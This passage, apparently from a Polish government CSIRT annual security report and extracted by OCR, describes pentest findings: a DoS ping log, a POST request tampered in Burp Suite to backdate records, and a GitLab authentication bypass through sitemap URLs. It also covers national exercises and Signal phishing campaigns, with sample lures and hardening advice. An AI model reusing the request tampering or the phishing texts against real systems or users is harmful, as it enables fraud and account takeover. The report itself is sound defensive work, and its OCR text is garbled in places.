18.73.2

227
227
227
=227
=227
227
227
227
227

227
227
227
.227
227
227
=227

icmp_seg=1
icmp_seqe=2
icmp_seqe3
icmp_seqeb
icmp_seqe=5
icmp_seqge6
icmp_seq=7
icmp_seq=8
icmp_seq=9
icmp_seqs=10
icmp_sege11
icmp_seqge12
icmp_seg=13
lcmp_seq=14
icmp_seq=15
icmp_seq«16
icmp_seqel7
icmp_seqg=18
icmp_seg=19
lcmp_seq=20
icmp_seqe21
icmp_seq«22
icmp_seqe23
1cmp_seqeld
icmp_seq=25
icmp_seq=26
lcmp_seq=27
icmp_seq=28
icmp_seqge=29

Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination
DEstindt 1on
Destination
Destination
Destination
Destination
Destination
Destination
Destination
Destination

Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Host
Haat
Host
Host
Host
Host
Host
Host
Host
Host

data.
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreéachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable
Unreachable

Rysunek 70. Brak odpowiedzi na zadania ICMP (ping) po przeprowadzeniu ataku DoS.
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Walidacja wprowadzonych danych realizowana wytacznie przez frontend testowanej aplikacji

Aplikacja WWW poddawana ocenie bezpieczenstwa posiadata funkcjonalno$¢ wprowadzania 0sdb
do pewnego rodzaju rejestru i tym samym do bazy danych aplikacji, za pomoca odpowiedniego formularza.
Formularz ten zawierat m.in. date utworzenia wpisu, ktdra byta datg biezaca i ktorej nie mozna byto zmieni¢
z poziomu przegladarki. Przechwycenie zadania http przy pomocy oprogramowania typu http proxy (np.
BURP Suite) umozliwito zmiane daty utworzenia wpisu, np. predatowania. Tak zmanipulowana data byta

rejestrowana w bazie danych.

Ponizszy zrzut ekranu prezentuje opisang manipulacje data (parametr w zadaniu POST o nazwie

,Create_date”).

Edited request v
Pretty Raw Hex w no=

1 POST add/ HTTP/2
2 Host:
3 Cookie:r csritoken=w22Unrd4PousSaxV]JSLlkyRMAvo12WcONI; sessionid=riznbgirpas9srhoorsziqx8362gwtot; agent- trust-887dbs52fsh3eb3os=

eyJlc2VybmFtZSISICIjc2lydCIsICIpe190cnyzdGvkI jogdHI 12SwgInRyd XNOZWRT ¥ XQ1 01 AxNzQx 0DUSODK 3LCAL dHI 1o 3Rf ZGFScyI 61 G5 1hGws I CIzZX I pYwl O1
AwLCALc2Vze2lvblI6IG51hGxS: 1tshil: wTQTBFVE rgGanmWd06- sOSKLAGT ¢ - OwviGgulSYhaD3s

Content-Length: 375

Cache-Control: max-age=0

Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="9g"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Linux"

Accept-Language: en-GB,en;q=0.9

origin: https:;’;’—.gov.pl
Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/133.0.0.0 Safari/S37.38
Accept:

text/html,application/xhtml+xml, application/xml;q=0.9,1image/avif, image webp,1mage/apng, */*;q=0.8,application/signed- exchange;v=b3;
q=0.7

5 Sec-Fetch-Site: same-origin

& Sec-Fetch-Mode: navigate

7 Sec-Fetch-User: 71

9 Sec-Fetch-Dest: document

referer: https:/

Accept-Encoding: gzip, deflate, br

Priority: u=0, 1

SRS

©m

| = |

NN

WKESio

csrfmiddlewaretoken=0S6ERPOHLSMT pQWK J tv2CVFFHoCCO0] oKKY ouUmPcUSMBS ] EEFq ] x 20V uoQEMWES1gnature=XI1 I%2F2024&court=445&T1rst_name=
Mateusz&middle_name=&las = date_of_birth-pesel:_sta rt_date=13-03- 20258end_date=
28-12- 2025&memo=zxcv%22%W%3Ehcreate_date=11-03- 202551 tial-create_date=2025- 03- 11+ 13%3A31%3A04&subml t=WprowadsC5%BA

Rysunek 71. PoC wystania zadania w celu manipulacji danymi wejsciowymi.

Podatno$c ta powodowata:

- mozliwo$¢ antydatowania wpisow,
- naruszenie integralnosci danych - rejestr przystaje by¢ wiarygodnym zradtem informacji,
- ominigcie mechanizmow kontrolnych - wprowadzenie osoby do rejestru z niewtasciwg datg mogto

wywotac okreslone skutki prawne.
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Ustuga GitLab Enterpise Edition posiadata luke w zabezpieczeniach umozliwiajgcg ominigcie mechanizmu

uwierzytelnienia

Wykorzystanie adreséw HTTPS ujawnionych w pliku o

nazwie sitemap.xml witryny

GitLab Enterprise Edition umozliwiato nieuprawnionej osobie na dostep do przedmiotowej ustugi
z pominieciem mechanizméw uwierzytelnienia.

Zidentyfikowano wystepowanie mapy testowanej witryny w formacie pliku XML tzw. sitemap.xml -
czesciowa zawartosc pliku przedstawiona ponizej.

<URLSET>

<URL>

<LUINK>HTTPS://172.31.80.31/ROOT</LINK>

</URL>

<URL>
<UUNK>HTIPS://172.31.80.31/USERS/PASSWORD/NEW</LINK>
</URL>

<URL>

<LUNK>HTIPS://172.31.80.31/USERS/ROOT ACTIVITY</LINK>
</URL>

<URL>

<LINK>HTTPS://172.31.80.31/USERS/SIGN_IN</LINK>
</URL>
</URLSET>

Rysunek 72. Listing sitemap.xmL.

Wykorzystanie ujawnionych w ten sposéb adreséw umozliwiato uzyskanie nieautoryzowanego dostepu do

przedmiotowej ustugi z pominigciem mechanizméw uwierzytelnienia.

W

0.3

& Kali NetHunter Exploit-DB Google Hacking DB

OffSec (@ kb/nginx at master - la

D Q Search or go to Administrator

Profile

|ave Administrator Jser Administrator
- profile groot
D Activity g
e
% Groups
@ Contributed projects Activity nfo
@ Personal projects Mar  Apr M Jun J Aug Sep Nov © 941 AM
i SR M £ Member since March 18, 2024
X Snippets .
88 Followers 0
fe lEclowing mem e — Sp—
No activities found
@ Help
Rysunek 73. Panel ustugi. —
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Udziat Zespotu CSIRT GOV w krajowych ¢wiczeniach KSC-EXE 2025

W listopadzie 2025 r. przedstawiciele Zespotu CSIRT GOV brali udziat w cyklicznych cwiczeniach
miedzysektorowych KSC-EXE 2025 zorganizowanych przez Ministerstwo Cyfryzacji oraz Fundacje
Bezpieczna Cyberprzestrzen. Cwiczenia realizowane byty w formule ,Table Top Exercises” (TTX), co
umozliwito uczestnikom weryfikacje dotychczas wypracowanych procedur i procesow dotyczacych
zgtaszania i obstugi incydentdw w czasie zagrozenia. Uczestnictwo w ¢wiczeniach szerokiego grona
podmiotow, obejmujacego organy wtasciwe do spraw cyberbezpieczenstwa, Zespoty CSIRT oraz instytucje
odpowiedzialne za bezpieczenstwo kraju umozliwito odtworzenie realiow wiarygodnego incydentu

o0 zwiekszonym stopniu zagrozenia dla CRP.

W ramach cwiczen zweryfikowano rowniez gotowos¢ podmiotow do realizacji obowigzkdow
wynikajgcych z nowelizacji ustawy o krajowym systemie cyberbezpieczenstwa realizujgcej zatozenia
unijnej dyrektywy NIS2. Obejmowato to m.in. zgtaszanie przez podmioty incydentdw do stosownych organow
wtasciwych, ale rowniez wspotprace zespotdw CSIRT poziomu krajowego z zespotami sektorowymi celem

wypracowania wspolnych zalecen bezpieczenstwa teleinformatycznego i procedur obstugi incydentow.

—

KRAJOWY SYSTEM
CYBERBEZPIECZENSTWA

Rysunek 74. Cwiczenia KSC-EXE 2025¢%.

—
66 - Zrddto: https://www.gov.pl/web/cyfryzacja/ksc-exe-2025-cwiczenia-krajowego-systemu-cyberbezpieczenstwa \\\\/‘
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Udziat Zespotu CSIRT GOV w organizowanych przez Rzadowe Centrum
Bezpieczenstwa seminariach ,Cyberbezpieczenstwo Infrastruktury Krytycznej”

W maju oraz listopadzie 2025 r. Zespot CSIRT GOV brat udziat w seminariach organizowanych
przez Rzadowe Centrum Bezpieczenstwa - ,Cyberbezpieczenstwo Infrastruktury Krytycznej”. W ramach
przedmiotowej inicjatywy Zespot CSIRT GOV zaprezentowat zagrozenia, ktdre obserwowane byty w sektorze
IK. Na seminarium przedstawiono réwniez sposoby zabezpieczenia infrastruktury krytycznej, ktéra zgodnie
zrozpoznaniem zagrozen prowadzonym przez Zespot CSIRT GOV stanowi czgsty cel atakdw cybernetycznych.
Inicjatywy tego typu umozliwiaja uczestniczacym z nich podmiotom na wzajemng wymiang do$wiadczen
w zakresie procedur i procesow realizowanych na rzecz cyberodpornosci celem budowania dojrzatosci

tychze podmiotdw w dziedzinie cyberbezpieczenstwa i udoskonalania utrzymywanej infrastruktury.

Udziat Zespotu CSIRT GOV w konferencji CSIRT Summit

W marcu 2025 r. Zespét CSIRT GOV brat udziat w organizowanej przez Dowddztwo Komponentu
Wojsk Obrony Cyberprzestrzeni (DKWOC) we wspétpracy z United States European Command (USEUCOM)
konferencji zespotow reagowania na incydenty bezpieczenstwa komputerowego CSIRT Summit. Inicjatywa
ta umozliwia wzajemng wymiane do$wiadczen dotyczacych obserwowanych zagrozen w cyberprzestrzeni,
a takze poréwnywanie ich celem zidentyfikowania nowych wektoréw zagrozen, jakie moga zmaterializowac
sie W przysztosci. Kazdy z zespotow biorgcych udziat w wydarzeniu przedstawit swojg perspektywe
dotyczacg obstugiwanych incydentdw celem pordwnania ich z obserwacjami pozostatych uczestnikow,
gdyz jak wynika z doswiadczen Zespotu CSIRT GOV zagrozenia obserwowane w cyberprzestrzeni czesto

maja charakter globalny i moga dotyczy¢ wigkszej liczby panstw.

CSIRT SUMMIT
CSIRT WORKSHOP

arv-Brw MARCH 2025, POLAND

Rysunek 75. Konferencja CSIRT Summit 20257

67 - Zrddto: https://www.wojsko-polskie.pl/woc/articles/aktualnosci-w/csirt-summit-2025/
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Udziat Zespotu CSIRT GOV w ¢wiczeniach NATO Locked Shields 2025

W 2025 r. Zespot CSIRT GOV brat udziat w cyklicznych ¢wiczeniach Locked Shields 2025,
organizowanych przez NATO Cooperative Cyber Defence Centre of Excellence (CCD CoE). Cwiczenia te maja
charakter migedzynarodowy i sg jednymi z najwigkszych manewrdw tego typu organizowanymi na $wiecie,
w roku 2025 brato w nich udziat okoto 4000 uczestnikow z 41 krajow podzielonych na 17 zespotdw. Celem
¢wiczen byta obrona infrastruktury teleinformatycznej przed atakami cybernetycznymi w warunkach
nieustannej presji politycznej, kampanii dezinformacyjnych i kryzysow infrastrukturalnych. W 2025 r.
reprezentacja Polski (w ktdrej sktad wchodzili specjalisci m.in. z zespotow CSIRT poziomu krajowego, stuzb
czy podmiotow z roznych sektoréw gospodarki) wraz z przedstawicielami zespotow cyberbezpieczenstwa
z Francji stanowili grupe, ktorej zadaniem byta obrona ustug kluczowych i infrastruktury krytycznej

w ramach zespotu Blue Team.

W ramach oceny pracy zespotow w klasyfikacji generalnej, zespot polsko-francuski zajat 2.
miejsce, natomiast w kategorii technologicznej, oceniajacej zdolnosci zespotu do odpierania cyberatakow
i utrzymywania dostepnosci chronionych ustug zajat 1. miejsce. Udziat Zespotu CSIRT GOV w ¢wiczeniach tego
typu to wartosciowa okazja do zacie$niania wspotpracy miedzynarodowej w zakresie cyberbezpieczenstwa,
a takze budowania kompetencji celem zwigkszenia cyberodpornosci CRP w realiach podwyzszonego

zagrozenia atakami cybernetycznymi.

OCKED
@ IELDS
25

el IR

Rysunek 76. Cwiczenia Locked Shields 2025¢.

68 - Zrddto: https://wwwwojsko-polskie.pl/woc/articles/aktualnosci-w/locked-shields-2025/
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Dziatania na rzecz bezpieczenstwa procesu wyborczego w zwigzku
z wyborami prezydenckimi 2025

W

W zwigzku z wyborami prezydenckimi, ktdre miaty miejsce na przetomie maja i czerwca 2025 r.,
Zespot CSIRT GOV podejmowat dziatania majace na celu rozpoznawanie i przeciwdziatanie zagrozeniom
ukierunkowanym na bezpieczenstwo procesu wyborczego. Dziatania ta skoncentrowane byty w gtowne;
mierze na przeprowadzeniu oceny bezpieczenstwa systemdw i sieci teleinformatycznych Krajowego
Biura Wyborczego, ze szczegolnym uwzglednieniem tych systemow, ktore byty wykorzystywane w trakcie
procesu wyborczego, a takze systemu eWybory nalezacego do Ministerstwa Spraw Zagranicznych. W wyniku
przeprowadzonych dziatan zidentyfikowano podatnosci i luki bezpieczenstwa, o ktdrych poinformowano
gestoréw systemow, celem ich mitygacji. Dodatkowo Zespdt CSIRT GOV prowadzit takze dedykowane
szkolenia z zakresu cyberbezpieczenstwa i cyberhigieny dla osdb sprawujacych istotne funkcje publiczne,

w tym zwigzane bezposrednio z procesem wyborczym.

W ramach przeprowadzonego rozpoznania ujawniono intensyfikacje aktywnosci o charakterze
dezinformacyjnym. Kampanie tego typu wykorzystywaty wizerunek kandydatoéw na urzad Prezydenta RP lub
partii politycznych, szerzac fatszywy przekaz dotyczacy wybordw, a takze obietnic wyborczych. Co warte
odnotowania, szczegolnie czesto obserwowany wsrad zidentyfikowanych kampanii dezinformacyjnych
byt przekaz odnoszacy sie do wsparcia udzielanego Ukrainie w ramach trwajacego konfliktu zbrojnego.

W ocenie Zespotu CSIRT GOV dziatania tego typu miaty na celu zwigkszenie podziatow spotecznych.

Zespot CSIRT GOV w okresie okotowyborczym zidentyfikowat rowniez liczne kampanie
socjotechniczne ukierunkowane na osoby sprawujgce funkcje publiczne, a takze funkcje kierownicze
w panstwie. Zidentyfikowano zaréwno kampanie socjotechniczne dystrybuujace szkodliwe oprogramowanie,
majace na celu uzyskanie dostepu do stacji roboczej ofiary, ale réwniez kampanie majace na celu wytudzenie
poswiadczen do poczty elektronicznej odbiorcy. Zgodnie z informacjami pozyskanymi przez Zespét CSIRT
GOV, a takze na bazie doswiadczen z przesztosci, sprawstwo zaobserwowanych kampanii przypisywane
jest grupie UNC1151.

W opisywanym okresie zwigkszong aktywno$c zaobserwowano rowniez w ramach identyfikowanych
atakéw typu DoS/DDoS. Ataki tego typu, ukierunkowane na infrastrukture teleinformatyczng instytucii

utrzymujacych ustugi kluczowe z punktu widzenia trwajgcych wybordw, byty na biezaco mitygowane.

W zwigzku z prowadzonymi dziataniami profilaktycznymi przez Zespoty CSIRT poziomu krajowego,

organy wtasciwe, a takze inne instytucje uczestniczace w procesie wyborczym, nie zidentyfikowano

incydentow mogacych miec istotny wptyw na bezpieczenstwo cybernetyczne przeprowadzonych wyboréw. \\

ST \

5

|

\\\2\

—

)

\






\\

Sposrod wielu zagrozen odnotowanych w roku 2025 na szczegdlng uwage zastugujg kampanie
ukierunkowane na popularne komunikatory internetowe, ktdrych celem byto uzyskanie dostepu do
informacji wymienianych przez uzytkownikow. Zagrozenia te odzwierciedlaj ciggte dgzenie adwersarzy do
opracowywania i wykorzystywania kolejnych technik oraz wektorow atakow umozliwiajacych eksfiltracje
informacji z systemdéw oraz ustug, przy wykorzystaniu czynnika ludzkiego, pozostajacego jednym

z najbardziej podatnych, a zarazem najstabszych elementdéw bezpieczenstwa.

Jednym z rozpoznanych wektorow byty ataki wymierzone w uzytkownikéw ogdlnodostepnych
komunikatordw, takich jak Signal oraz WhatsApp. Kampanie bazujace na wykorzystaniu tych $rodkow
komunikacji byty juz obserwowane przez Zespot CSIRT GOV w latach ubiegtych, natomiast w 2025 roku

nastapit wzrost liczby incydentow tego typu.

W kontekscie przedmiotowych zagrozen nalezy zauwazy¢, ze poszczegolne organizacje,
podnoszac zabezpieczenia swoich systemow oraz zwiekszajgc Swiadomosé uzytkownikow w zakresie
cyberbezpieczenstwa, koncentrujg sie w gtownej mierze na ograniczaniu wptywu kampanii
socjotechnicznych dystrybuowanych z wykorzystaniem wiadomosci email. Czynnik ten niewatpliwie moze
by¢ jednym z uwarunkowan wymuszajgcych na atakujgcych zastosowanie dotychczas mniej popularnych,
aczkolwiek nie mniej skutecznych technik ataku. W rezultacie adwersarze w 2025 roku zaczeli na szeroka
skale wykorzystywac wiadomosci phishingowe dystrybuowane za posrednictwem ogodlnodostepnych

komunikatordw internetowych.

Zaobserwowane w roku 2025 ataki na uzytkownikdéw popularnych komunikatorow elektronicznych
polegaty na dystrybucji do potencjalnych ofiar wiadomosci podszywajacych sie najczesciej pod dziat
wsparcia IT (np. ,Signal Support”). W przestanej wiadomosci atakujacy oczekiwali interakcji uzytkownika
celem wytudzenia od niego danych dostepowych do konta, a w konsekwencji jego przejecia. Adwersarze
wykorzystywali nastepnie pozyskane informacje do dalszych sprofilowanych atakow, a skompromitowane
konta mogty by¢ wykorzystywane nastepnie do dystrybucji kolejnych wiadomosci phishingowych celem

przejecia kont kolejnych ofiar.

Zespot CSIRT GOV prowadzit na przestrzeni 2025 roku dziatania zwigzane z reagowaniem na
incydenty odnosnie atakow na komunikatory internetowe. Prowadzona byta w tym zakresie wymiana
informacji oraz edukacja celem minimalizacji zagrozenia na poziomie krajowym w ramach podmiotéw
bedacych we wtasciwosci Zespotu CSIRT GOV. Odnosnie tych zagrozen wydany zostat stosowny komunikat

Petnomocnika Rzadu do Spraw Cyberbezpieczenstwa w sprawie kampanii wymierzonej w uzytkownikéw
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komunikatora Signal®’. W komunikacie zamieszczono opis zagrozenia oraz szereg rekomendacji majacych
pomac w zabezpieczeniu uzytkownika oraz jego komunikatora. Jednoczesnie w czerwcu 2025 roku problem
atakow zostat takze opisany w ramach publikacji Dowddztwa Komponentu Wojsk Obrony Cyberprzestrzeni
(DKWoC)™.

Dodatkowo na kanwie wskazanego zagrozenia juz w roku 2026 zostaty opublikowane informacje
o tym wektorze przez Niderlandzkie stuzby specjalne Militaire Inlichtingen- en Veiligheidsdienst (MIVD)

i Algemene Inlichtingen- en Veiligheidsdienst (AIVD)™, potwierdzajac zarazem ich ukierunkowany charakter.

Opis wektora atakow poprzez komunikator Signal

W celu przeprowadzenia ataku adwersarz musi pozyskac stosowne identyfikatory potencjalnych
odbiorcéw wiadomosci w komunikatorze Signal, na ktdre moze rozpoczaé dystrybucje wiadomosci.
Najczesciej jest to numer telefonu, ktdry atakujacy moze zdoby¢ z rdznych zrddet, np. z sieci darknet
lub poprzez pozyskang juz wczesniej liste numerow telefonicznych. Alternatywng metodg ataku jest
wykorzystanie nazwy uzytkownika w komunikatorze Signal i wskazanie w ten sposdb odbiorcy wiadomosci

phishingowe;.

W ramach odnotowanych kampanii zaobserwowano wysytanie wiadomosci podszywajacych sie
pod konto ,Signal Support”, wskazujace rzekomo na dziat wsparcia technicznego komunikatora. Atakujacy
wykorzystywali tu schemat ataku pozwalajacy na uzycie dowolnej nazwy uzytkownika, niezastrzezonej dla
kont serwisowych Signal. Nazwa uzytkownika Signal, w przeciwienstwie do indywidualnego identyfikatora
konta, nie jest unikalna, tym samym moze by¢ wykorzystana przez atakujgcych stosownie do zaplanowanego
ataku. Ponizej przedstawiono przyktady tego typu wiadomosci phishingowych wykorzystujacych nazwe
konta jako Signal Support.

69 - Komunikat Petnomocnika Rzadu ds. Cyberbezpieczenstwa w sprawie kampanii wymierzonej w uzytkownikow komunikatora Signal, Minister-
stwo Cyfryzacii, https://www.gov.pl/web/cyfryzacja/ataki-phishingowe-na-uzytkownikow-signal--jak-chronic-swoje-konto

70 - Ataki phishingowe wymierzone w uzytkownikéw komunikatora Signal, DKWOC, https://www.wojsko-polskie.pl/woc/articles/aktualnosci-w/
ataki-phishingowe-wymierzone-w-uzytkownikow-komunikatora-signal/

71 - Cybersecurity Advisory. Phishing via messaging apps Signal and WhatsApp, MIVD i AIVD, https://english.aivd.nl/latest/news/2026/03/09/rus-
sia-targets-signal-and-whatsapp-accounts-in-cyber-campaign
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22 Brak wspdlnych grup

Wskazowki dotyczace
bezpieczeristwa

Dzisiaj

1 nieodczytana wiadomosé

Dear User, this is Signal Security Support
ChatBot.

We habe noticed suspicious activity on
your device, which could have led to
data leak. We have also detected

attempts to gain access to your private
data in Signal.

To prevent this, you have to pass
verification procedure, entering the
verification code to Signal Security
Support Chatbot.

DON'T TELL ANYONE THE CODE, NOT
EVEN SIGNAL EMPLOYEES.

Czy Signal Support moze Ci wysyta¢ wiadomosci oraz
czy udostepnié tej osobie Twoje imie i zdjecie? Nie
dowie sie ona, ze wiadomos¢ zostata przez Ciebie
odczytana, dopoki nie zaakceptujesz zaproszenia.

Zablokuj Zgtos... Zaakceptuj

Rysunek 77. Przyktad wiadomosci phishingowej na platformie Signal.
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22 Brak wspdlnych grup

Wskazdéwki dotyczace
bezpieczenstwa

Dzisiaj

Signal Security is here

Recently, attempts to hack users of our
messenger with the connection of
third-party devices to the account have
become more frequent.

In this regard, Signal updates Terms of
Services & Privacy Policy and introduces
Mandatory Two-factor Verification for
users.

Stay safe and thank you for using the
most secure messenger witam
end-to-end encryption.

Czy Signal Support moze Ci wysyta¢ wiadomosci oraz
czy udostepnic tej osobie Twoje imie i zdjecie? Nie
dowie sie ona, ze wiadomos¢ zostata przez Ciebie
odczytana, dopcéki nie zaakceptujesz zaproszenia.

Zablokuj Zgtos... Zaakceptuj

Rysunek 78. Przyktad wiadomosci phishingowej na platformie Signal.

Obserwowane na przestrzeni 2025 roku wiadomosci przesytane od adwersarzy w ramach Signal
roznity sie trescia, stylem pisania czy stosowanym jezykiem (gtdwnie angielski oraz polski), natomiast
wszystkie zmierzaty do pozyskania od uzytkownika stosownych danych w postaci kodu weryfikacyjnego
oraz kodu PIN.

Przesytane wiadomosci informowaty zazwyczaj odbiorce o koniecznosci zweryfikowania swojego
konta ze wzgledu na ,podejrzang aktywnosc” uzytkownika badz zarejestrowane proby przejecia konta. W celu
rzekomego zabezpieczenia konta uzytkownik proszony byt o rozpoczecie korespondencji z adwersarzem
podajacym sie za wsparcie techniczne aplikaciji Signal oraz przekazanie w ramach wiadomosci tekstowe;

na komunikatorze kodow bezpieczenstwa Signal w postaci kodu weryfikacyjnego oraz kodu PIN.

5
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Gdy odbiorca wiadomosci zaakceptowat prosbe o kontakt od uzytkownika o nazwie ,Signal Support”
i przestat wymagane dane uwierzytelniajgce w postaci kodu weryfikacyjnego oraz kodu PIN, adwersarz
logowat sie na konto ofiary, co jednoczesnie powodowato wylogowanie ofiary z sesji komunikatora.
Wynikato to z faktu, iz w ramach komunikatora Signal uzytkownik magt by¢ zalogowany jednoczesnie tylko

na jednym urzadzeniu w danym czasie’.

&« @ Signal Support [ R

Signal Security is here

Recently, attempts to hack users of our
messenger with the connection of
third-party devices to the account have
become more frequent.

In this regard, Signal updates Terms of
Services & Privacy Policy and introduces
Mandatory Two-factor Verification for
users.

Stay safe and thank you for using the
most secure messenger witam
end-to-end encryption.

Q Akceptujesz prosbe o kontakt

Opcje

Enter the verification code.

Enter your PIN.

5min @@

@ INiadomos’é Signal

Rysunek 79. Przyktad przekazania danych uwierzytelniajacych za posrednictwem platformy Signal.

ktory posredniczy w catej wymianie korespondencji, tym samym ww. urzadzenia nie sa traktowane jako osobnie i niezalezne od telefonu.
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Zespot CSIRT GOV obserwowat, iz po zalogowaniu sie atakujacego na konto ofiary z wykorzystaniem
wytudzonych danych uwierzytelniajgcych mogty mie¢ miejsce nastepnie dwa sposoby ataku. Pierwszym
z nich byto catkowite przejecie konta ofiary. Po zalogowaniu sie atakujacy zmieniat dane konta, w tym
numer telefonu przypisany do konta oraz kod PIN, tak aby uniemozliwi¢ ofierze odzyskanie dostepu do

przejetego konta.

Drugim rodzajem postepowania po uzyskaniu przez atakujacego dostepu do konta ofiary byto
dodanie do grup uzytkownika kolejnego konta Signal kontrolowanego przez atakujacego, czesto podobnego
w sktadni nazwa do konta ofiary. Nie nastepowaty tu proby statego przejecia konta. Po odzyskaniu przez
uzytkownika dostepu do konta Signal, adwersarz za pomocg podstawionego konta dodanego do grup (np.

grup pracowniczych) utrzymywat staty dostep do wymienianych na grupie nowych informacji.

@
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Rysunek 80. Przebieg ataku phishingowego z wykorzystaniem aplikacji Signal.

Niezaleznie od sposobu dostepu przez atakujacego do konta ofiary adwersarz byt w stanie
pozyskiwac dane kolejnych uzytkownikéw celem prowadzenia nastepnych kampanii ukierunkowanych,
wykorzystujac zastosowany wczesniej schemat ataku. Poza samym przejeciem dostepu do danego konta,

ataki charakteryzowaty sie znacznym potencjatem dalszej ekspansji i kompromitacja kont kolejnych ofiar.
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Rekomendacje warunkow bezpiecznego uzytkowania komunikatora Signal

W celu zmiany konfiguracji komunikatora Signal, zaréwno na telefonie z systemem i0S (iPhone)

oraz na telefonie z systemem Android, kliknij w okragta ikone znajdujaca sie w lewym gérnym rogu aplikacji.

Bedzie to ikona zawierajaca zdjecie profilowe uzytkownika lub inicjaty nazwy profilu konta.
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1. Ustaw nowy kod PIN Signal

Ustawienia -> Konto -> Zmien PIN”

< Kento
PIN Signal
Zmien PIN |
Przypomnienia PIN-u O
iPhone
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Android
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< Konto

PIN Signal

Zmien swéj PIN

Przypomnienia o PIN-ie D
7 czasem bedziemy pytaé coraz rzadziej

Android
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Zaleca sie korzystanie z kodu alfanumerycznego, dtuzszego niz domyslne 4 cyfry.

< Zmien PIN

Utworz PIN
ancffz zmienic PIN.de warunkiem ze to

urzadzenie zostato zatejestrowane, Dowiedz sie PIN stuzy do przywracania konta i
G szyfrowania danych w aplikacji Signal.
Dowiedz sie wiecej

PIN musi sie sklada¢ z co najmniej 4 cyfr

| Utwérz PIN alfanumeryczny |

Utwérz PIN z eyfr | liter

iPhone Android

Pamietaj, ze Signal Support nigdy nie prosi o podanie jakichkolwiek Twoich danych,
a tym bardziej kodu PIN lub szesciocyfrowego kodu aktywujgcego otrzymanego przez Ciebie w wiadomosci
SMS. Nikomu nie przekazuj tych koddéw! Nigdy nie wysytaj PIN-u lub kodow SMS-em. Nie podawaj ich
w czacie lub w rozmowie gtosowej! Kazdy taki przypadek to proba wytudzenia danych uwierzytelniajacych
do aplikacji Signal.

Jezeli komukolwiek przekazates PIN lub kod aktywujacy, to jest bardzo prawdopodobne ze Twoje
konto Signal zostanie przejete. Natychmiast zmien kod PIN na nowy. Atakujacy prawdopodobnie zna twoj
numer telefonu i w dalszym ciggu bedziesz podlegat probom wytudzenia twoich danych uwierzytelniajgcych.
Zastanow sie czy nie warto zmieni¢ numeru telefonu.

2. Rozwaz wytaczenie przypominania o PIN-ie
,Ustawienia -> Konto -> Przypomnienia PIN-u"

Czeste podawanie PIN-u w aplikacji ,przyzwyczaja” nas do jego przekazywania, co moze byc
wykorzystane do jego wytudzenia.

< Konto &« Konto

PIN Signal PIN Signal

Zmien PIN

Zmieri swoj PIN

Przypomnienia o PIN-ie @
Z czasem bedziemy pytac coraz rzadziej

Przypomnienia PIN-u

iPhone Android \
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3. Wtacz opcje Blokada rejestraciji

,Ustawienia -> Konto -> Blokada rejestracji, wymagaj PINu, aby ponownie zarejestrowac numer telefonu

w aplikacji”
< Konto < Konto
PIN Signal PIN Signal
Zmien PIN

Zmien swoj PIN
Przypomnienia o PIN-ie o
Z czasem bedziemy pyta¢ coraz rzadziej

Blokada rejestracji

Przypomnienia PIN-u

Aby ponownie zarejestrowacé swoj numer
Blokada rejestracji D telefonu w aplikacji Signal, wymagaj PIN-u
Wiymaga) PIN-u Signal, aby ponownie zarsjes rovad o
numer telefony w anlikai. Zaawansowane ustawienia PIN-u
iPhone Android

Ochroni cie przed ponownym/dodatkowym zarejestrowaniem Twojego konta Signal na urzadzeniu,
ktore nie nalezy do ciebie (np. na innym telefonie).

4. Wtacz opcje ukrycia numeru telefonu

,Ustawienia -> Prywatnosc¢ -> numer telefonu -> Kto moze wyswietli¢ moj numer telefonu - Nikt”

< Prywatnosé

< Prywatnosé

Numer telefonu

Zdecyduj, kto moze wyswietli¢ Twdj numer telefonu
Numer telefonu lub uzy¢ go do skontaktowania sig z Tobg w

aplikacji Signal.

Zdecyduj, kto moze wyswietlié Twdj numer telefonu lub
uzye go co skontaktowania sie 2 Toba w aplikacji Signal.

Zablokowane osoby Zablokowane osoby

0 kontaktéw lub grup

iPhone Android

Ochroni cie przed poznaniem twojej tozsamosci przez osobe nieuprawniong, w przypadku gdy
jestes cztonkiem grup.
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5. Regularnie weryfikuj potagczone urzadzenia z Twoim kontem

,Ustawienia -> Potaczone urzadzenia”

< Pofaczone urzadzenia Edycja «  Polaczone urzadzenia

Mozesz korzystac z tego konta Signal na
komputerze lub iPadzie

Dowiedz sig wigcej
Polgcz nowe urzadzenie Potacz nowe urzadzenie

Polaczone urzadzenia Moje polgczone urzadzenia

Brak polaczonych urzadzeri

iPhone Android

Sprawdzajczy niemanaliscie podtaczonych urzadzen, ktérych nie rozpoznajesz. Nie rekomendujemy
taczenia konta Signal z aplikacjg instalowana na jakimkolwiek innym urzadzeniu, gdyz znaczaco obniza to
poziom bezpieczenstwa Twojego konta. Jezeli stwierdzisz, ze wystepuja w twoim telefonie podtgczone

urzadzenia ktorych nie znasz - natychmiast je usun.

6. Weryfikuj powod zmiany numeru bezpieczenstwa pomiedzy Tobg a Twoimi rozmowcami

Dzisiaj

@ Tyiizh 327 macie nowy numer
bezpieczenstwa

Dowiedz sie wigce]j

Test Teraz (@

+  Wiadomosé @ © 9

Nowy numer bezpieczenstwa na iPhone i Android

Za kazdym razem jezeli w oknie konwersacji pojawi sie komunikat, ze pomiedzy Tobg a druga
strong ,zmienit sig numer bezpieczenstwa” powinienes te sytuacje wyjasni¢ innym kanatem komunikacji
niz Signal (gdy jest to mozliwe - osobiscie). Zmiana numeru bezpieczenstwa oznacza, ze druga strona

zmienita urzadzenie, numer telefonu, przeinstalowata aplikacje Signal lub stata sie przedmiotem ataku i jej

konto Signal zostato przejete. \ﬁ
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7. Jezeli tworzysz grupe zadbaj, abys byt jedynym administratorem

,Kliknij w nazwe grupy -> Uprawnienia -> Dodawanie osob -> Tylko administratorzy”

29

Grupa test & & Testowa grup Va
Doch] s grupy.

& nUI I apsia veaia

) Dzwieki i powiadomienia

